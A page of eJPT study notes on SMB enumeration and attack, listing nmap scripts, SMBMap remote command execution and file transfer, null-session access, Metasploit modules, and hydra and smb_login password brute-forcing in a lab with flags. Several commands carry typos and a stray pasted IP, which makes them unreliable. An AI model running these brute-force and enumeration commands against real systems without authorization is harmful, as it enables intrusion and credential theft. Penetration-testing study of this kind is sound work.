> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/enumeration/smb.md).

# SMB

#### SMB&#x20;

* SMB is a Windows implementation of a file share. And there's SIFs, which is the common internet file system, which is the generic term for it.
* SMB stands for **Server Message Block.**

SMB Connection:

* Open File Explorer, right-click on Network -> Map Network Drive.
* type **"\\\\\<IP-address>"** or **"\\\\\<IP-address>\Folder-name"** and click on browse, select a remote folder -> Finish

```
net use Z: \\<IP-address>\Folder-name$ <password> /user:<username>
```

SMB disconnection:&#x20;

* In powershell, type the below command to disconnect following SMB drives.

```
net use * /delete
```

SMB: Nmap Scripts:

* Basically shows version

```
nmap -p445 --script smb-protocols <IP-address>
```

* 192.111.50.2Security Mode

```
nmap -p445 --script smb-security-mode <IP-address>
```

> " Auditing, vulnerability scans and pentests are useful to point out things that people miss that are default but dangerous. "

* Enumerate Sessions

```
nmap -p445 --script smb-enum-sessions <IP-address>
```

```
nmap -p445 --script smb-enum-sessions --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

* enumerate shares

```
nmap -p445 --script smb-enum-shares <IP-address>
```

```
nmap -p445 --script smb-enum-shares --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

*Note: IPC sessions is a null session, not only we can get in as a guest but also can utilize this null session IPC.*

* Enumerate users

```
nmap -p445 --script smb-enum-users --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

* Server stats

```
nmap -p445 --scripts smb-server-stats --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

* enumerate domains

```
nmap -p445 --sc192.111.50.2ripts smb-enum-domains --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

* enumerate groups

```
nmap -p445 --scripts smb-enum-groups --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

* enumerate services

```
nmap -p445 --scripts smb-enum-services --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

* enumerate shares and List directories

```
nmap -p445 --scripts smb-enum-shares,smb-ls --script-args smbusername=<smb-user>,smbpassword=<smb-pass> <IP-address>
```

**SMBMap**

SMBMap is a program written in Python, which can be used to connect, enumerate, upload and download files with some authentication. Can be used when SMBv1 is vulnerable

```
smbmap -u guest -p "" -d . -H <IP-address>
```

* executing command using SMBmap

```
smbmap -H <IP-address> -u <username> -p <password> -x 'command'
```

* list out the contents after viewing the shares drives

```
smbmap -H <IP-address> -u <user> -p <pass> -L 
```

* To list the file present in the share drive&#x20;

```
smbmap -H <IP-address> -u <user> -p <pass> -r '<drive>$'
```

* To upload a file from attack machine to victim/target machine

```
smbmap -H <IP-address> -u <user> -p <pass> --upload 'Attacker_PATH' 'Target_PATH'
```

* To Download a file from target/victim machine to attacker machine

```
smbmap -H <IP-address> -u <user> -p <pass> --download 'File_PATH_Target'
```

**SMB: Samba 1**

```
nmap <IP> -sU --top-port 25 --open
```

```
nmap <IP> -p445 --script smb-os-discovery
```

**Metasploit Frame work**&#x20;

* its' actually a whole bunch of tools

> &#x20;/auxiliary/scanner/smb/smb\_version

**NMB Lookup**

```
nmblookup -A <IP>
```

**SMB client**

* to check null session

```
smbclient -L <IP> -N
```

**RPC client**

* to connect with a null

```
rpcclient -U "" -N <IP>
```

**SMB: Samba 2**

```
rpcclient -U "" -N <IP>
```

rpcclient commands&#x20;

* to get OS information  samba

> srvinfo

**enum4linux**&#x20;

* for OS information

```
enum4linux -o <IP>
```

```
smbclient -L <IP> -N
```

```
nmap <IP> -p445 --script smb-protocols
```

```
msfconsole 
> use axiliary/scanner/smb/smb2
> set Rhosts <IP>
> run
```

<pre><code><strong>nmap &#x3C;IP> -p445 --script smb-enum-users
</strong></code></pre>

```
msfconsole -q 
> user axiliary/scanner/smb/smb_enumusers
> set rhosts <IP>
> run
```

```
enum4linux -U <IP>
```

```
rpcclient -U "" -N <IP>
> enumdomusers
> lookupnames admin
```

**SMB: Samba 3**

```
nmap <IP> -p445 --script smb-enum-shares
```

```
msfconsole -q 
> use auxiliary/scanner/smb/smb_enumshares
> set rhosts <IP>
exploit
```

```
enum4linux -S <IP>
```

```
smbclient -L <IP> -N 
```

```
enum4linux -G <IP>
```

```
rpcclient -U "" -N <IP>
> enumdomgroups
```

```
enum4linux -i <IP>
```

```
smbclient //<IP>/Public -N
> help
> cd secret
> ls 
> cat flag 
> get flag
```

**SMB Dictionary Attack**

When we do need to authenticate and we don't have credentials then we need to use dictionary attack

```
msfconsole -q
> use auxiliary/scanner/smb/smb_login
> set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
> set smbuser jane
> show options
> exploit
```

**hydra**

gzip -d /usr/share/wordlists/rockyou.txt.gz

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> smb
```

```
smbmap -H <IP> -u admin -p password1
```

```
smbclient -L <IP> -U jane
```

```
smbclient //<IP>/jane -U jane
> help 
> ls
> cat flag
```

```
smbclient //<IP>/admin -U admiin
> ls 
> cd hidden
> get flag.tar.gz
> gzip 0d flag.tar.gz
or 
> tar -xvf flag.tar.gz
```

```
msfconsole -q
> use auxiliary/scanner/smb/pip_auditor
> set smbuser admin
> set smbpass password1
> set rhosts <IP>
> exploit
```

```
enum4linux -r -u "admin" -p "password1" <IP>
```
